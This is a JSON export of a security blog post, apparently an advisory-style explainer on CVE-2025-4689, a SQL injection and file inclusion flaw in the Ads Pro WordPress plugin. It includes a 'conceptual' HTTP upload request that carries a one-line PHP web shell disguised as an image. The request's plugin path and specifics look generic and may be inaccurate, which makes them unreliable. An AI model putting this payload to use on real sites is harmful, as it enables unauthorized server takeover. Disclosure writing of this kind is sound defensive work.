{"id":58176,"date":"2025-07-07T19:54:11","date_gmt":"2025-07-07T19:54:11","guid":{"rendered":""},"modified":"2025-08-31T06:31:58","modified_gmt":"2025-08-31T12:31:58","slug":"cve-2025-4689-critical-vulnerability-in-ads-pro-plugin-for-wordpress-leading-to-remote-code-execution","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4689-critical-vulnerability-in-ads-pro-plugin-for-wordpress-leading-to-remote-code-execution\/","title":{"rendered":"<strong>CVE-2025-4689: Critical Vulnerability in Ads Pro Plugin for WordPress Leading to Remote Code Execution<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Ads Pro Plugin for WordPress, a popular advertising manager plugin, has been discovered to contain a critical vulnerability, marked as CVE-2025-4689. This vulnerability exposes systems running all versions up to and including 4.89 to potential Local File Inclusion (LFI) attacks, which could lead to Remote Code Execution (RCE). This vulnerability affects not only individual websites but also web hosting providers and businesses that rely on the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2015-10143-unauthorized-modification-vulnerability-in-wordpress-platform-theme\/\"  data-wpil-monitor-id=\"69001\">WordPress<\/a> platform for their online presence. The impact of this vulnerability is significant, as it <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6436-critical-memory-safety-bugs-in-firefox-and-thunderbird-potentially-allowing-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"64761\">allows an attacker to execute arbitrary PHP code<\/a> on the server, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4689<br \/>\nSeverity: Critical (CVSS 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64791\">System compromise<\/a>, Data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3665593825\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Ads Pro <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53260-unrestricted-file-upload-vulnerability-in-getredhawkstudio-file-manager-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"65361\">Plugin &#8211; Multi-Purpose WordPress Advertising Manager<\/a> | All versions up to and including 4.89<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6562-os-command-injection-vulnerability-in-hunt-electronic-dvr-models\/\"  data-wpil-monitor-id=\"64861\">vulnerability exists due to a combination of SQL Injection<\/a> (SQLi) and Local File Inclusion (LFI) vulnerabilities. An attacker can exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30131-unauthenticated-file-upload-vulnerability-in-iroad-dashcam-fx2-devices\/\"  data-wpil-monitor-id=\"64963\">vulnerability by uploading an image file<\/a> to the server which can then be fetched via a SQL injection vulnerability. The fetched image is subsequently executed as PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29978-use-after-free-vulnerability-in-microsoft-office-powerpoint-allowing-unauthorized-local-code-execution\/\"  data-wpil-monitor-id=\"64870\">code through the local file inclusion vulnerability<\/a>, allowing the attacker to execute arbitrary code on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1067355364\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following conceptual <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29331-critical-remote-code-execution-vulnerability-in-mhsanaei-3x-ui\/\"  data-wpil-monitor-id=\"64965\">code illustrates how an unauthenticated attacker might exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/adspro-plugin\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: image\/jpeg\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;submit&quot;\nUpload\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>The above request <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49885-severe-file-upload-vulnerability-in-harutheme-s-drag-and-drop-multiple-file-upload-pro-woocommerce-plugin\/\"  data-wpil-monitor-id=\"65324\">uploads a malicious PHP file<\/a> disguised as an image to the server. The attacker can then trigger the SQLi vulnerability to fetch the uploaded file, which is subsequently <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53002-remote-code-execution-vulnerability-in-llama-factory\/\"  data-wpil-monitor-id=\"65178\">executed as PHP code<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are advised to apply the vendor patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76317\">block the exploitation of this vulnerability<\/a>. Regularly updating and patching your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52890-critical-acl-bypass-vulnerability-in-incus-system-container-and-virtual-machine-manager\/\"  data-wpil-monitor-id=\"64733\">systems can help prevent the exploitation of such vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Ads Pro Plugin for WordPress, a popular advertising manager plugin, has been discovered to contain a critical vulnerability, marked as CVE-2025-4689. This vulnerability exposes systems running all versions up to and including 4.89 to potential Local File Inclusion (LFI) attacks, which could lead to Remote Code Execution (RCE). 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